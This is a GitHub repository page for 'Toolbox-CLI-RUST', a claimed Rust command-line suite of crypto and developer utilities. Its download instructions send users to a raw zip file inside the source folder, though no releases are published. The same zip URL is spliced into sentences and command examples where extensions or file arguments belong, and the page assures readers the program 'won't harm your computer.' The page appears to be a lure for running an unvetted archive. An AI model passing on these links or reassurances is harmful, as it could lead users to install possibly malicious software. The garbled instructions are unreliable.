Skip to content

๐Ÿ›  Deliver a versatile Rust CLI suite combining developer, security, cryptography, and productivity tools in one compact command-line interface.

License

Notifications You must be signed in to change notification settings

rknagar/Toolbox-CLI-RUST

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

13 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿงฐ Toolbox-CLI-RUST - Simple Tools for Everyday Tasks

Download Toolbox-CLI-RUST

๐Ÿ“ What is Toolbox-CLI-RUST?

Toolbox-CLI-RUST is a collection of useful programs you can run from the command line on your computer. It combines many tools into one place. These tools help with tasks like security checks, encrypting messages, working with text, and managing data.

Even though it is designed with developers in mind, anyone can use it. You do not need to know programming to run the tools. Everything works in the terminal or command prompt on your computer.

๐Ÿ’ป What can you do with Toolbox-CLI-RUST?

Here are some examples of what Toolbox-CLI-RUST offers:

  • Encrypt and decrypt messages with AES encryption.
  • Generate unique codes and IDs using UUID generation.
  • Work with JSON files for data management.
  • Create and verify JWT tokens for security.
  • Use HMAC codes for message authentication.
  • Search and match text patterns using regular expressions.
  • Convert and track timestamps in Unix format.
  • Run productivity tools to simplify your daily tasks.

All these tools are accessible through a single program that you run on your computer.

๐Ÿ“ฅ Download & Install

To get Toolbox-CLI-RUST on your computer, follow these steps:

  1. Visit this page to download the software:
    Download Toolbox-CLI-RUST

  2. Choose the version that fits your computer. Look for files ending with .exe if you use Windows, or files ending with https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip or .zip if you use Mac or Linux.

  3. Download the file to your computer.

  4. For Windows users, just double-click the .exe file you downloaded and follow the instructions.

  5. For Mac or Linux users, open your terminal and navigate to the folder with the downloaded file. Unpack it if it is compressed, and then run the program by typing ./toolbox or the name shown on the release page.

  6. Once installed, open your terminal or command prompt and type toolbox to see the list of available tools and commands.

๐Ÿ–ฅ๏ธ System Requirements

Toolbox-CLI-RUST works on many computers. Here are the main requirements:

  • Operating Systems supported:

    • Windows 10 or later
    • macOS Mojave or later
    • Most Linux distributions with standard terminal access
  • Processor: Any modern Intel or AMD processor or equivalent.

  • Memory: At least 512 MB of RAM.

  • Disk space: About 50 MB free space to install and run.

  • Terminal or command prompt: This is where you type instructions to run the tools.

If you are unsure about your system, just try downloading and running the program. It won't harm your computer.

๐Ÿš€ How to Use Toolbox-CLI-RUST

After you install the program, open a terminal or command prompt window. You can open the terminal in different ways depending on your system:

  • Windows: Search for โ€œCommand Promptโ€ or โ€œPowerShellโ€ in the Start menu.

  • Mac: Open โ€œTerminalโ€ from Applications > Utilities.

  • Linux: Look for โ€œTerminalโ€ in your applications menu.

Once open, type the following command and press Enter:

toolbox --help

This command shows all the tools you can use and how to use them. You will see a list with descriptions for each tool.

Running a simple tool

For example, to create a new universally unique identifier (UUID), type:

toolbox uuid

The program will give you a random UUID. This is a unique number that can identify something in your projects or files.

Encrypting a message

To encrypt text with AES encryption, you might use:

toolbox aes encrypt your-message-here your-password

Replace your-message-here with the text you want to encrypt and your-password with a word you choose. The program will return an encrypted message you can safely send or store.

Decrypting a message

If you receive an encrypted message, decrypt it by running:

toolbox aes decrypt encrypted-text your-password

Replace encrypted-text with the code you received and your-password with the same password used before.

Each tool has its own short guide shown with:

toolbox toolname --help

For example, toolbox jwt --help shows how to create and verify JWT tokens.

๐Ÿ”ง Common Commands and Tools

Tool What it Does How to Use Example
aes Encrypt or decrypt data toolbox aes encrypt "text" key
uuid Generate unique IDs toolbox uuid
json Work with JSON strings toolbox json validate https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip
jwt Create and verify tokens toolbox jwt create payload
hmac Create message authentication codes toolbox hmac generate "msg" key
regex Search or match text patterns toolbox regex search pattern https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip
timestamp Convert Unix timestamps toolbox timestamp now

Use the --help option with each tool to learn more about usage and options.

๐Ÿ”’ Security and Privacy

Toolbox-CLI-RUST is created with care for your privacy. It does not share your data anywhere. All tasks run locally on your computer. When you use encryption tools, your passwords and messages stay private and are not sent over the internet.

Always use strong passwords for encryption and keep your software up to date.

๐Ÿ“š Learn More and Get Help

If you want to understand more about the tools or need help:

  • Check the official GitHub page for examples and guides.

  • Use the built-in help by typing:

toolbox --help

or for a specific tool:

toolbox toolname --help
  • You can also open an issue on GitHub if you find problems or have questions.

โš™๏ธ Updating Toolbox-CLI-RUST

When new versions are released, it is a good idea to update your program to get the latest features and fixes.

  1. Visit the release page again:
    Download Toolbox-CLI-RUST

  2. Download the newest file for your system.

  3. Replace the old file with the new one, or follow the instructions that come with the update.

๐ŸŒ About the Project

Toolbox-CLI-RUST is built using the Rust programming language. Rust is known for being safe, fast, and reliable. This project aims to give users a set of practical command-line tools that work well on many operating systems.

It supports tasks in:

  • Cryptography and encryption
  • Developer utilities
  • Data formatting and management
  • Productivity helpers

Everything is open source and free to use.


Download Toolbox-CLI-RUST

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages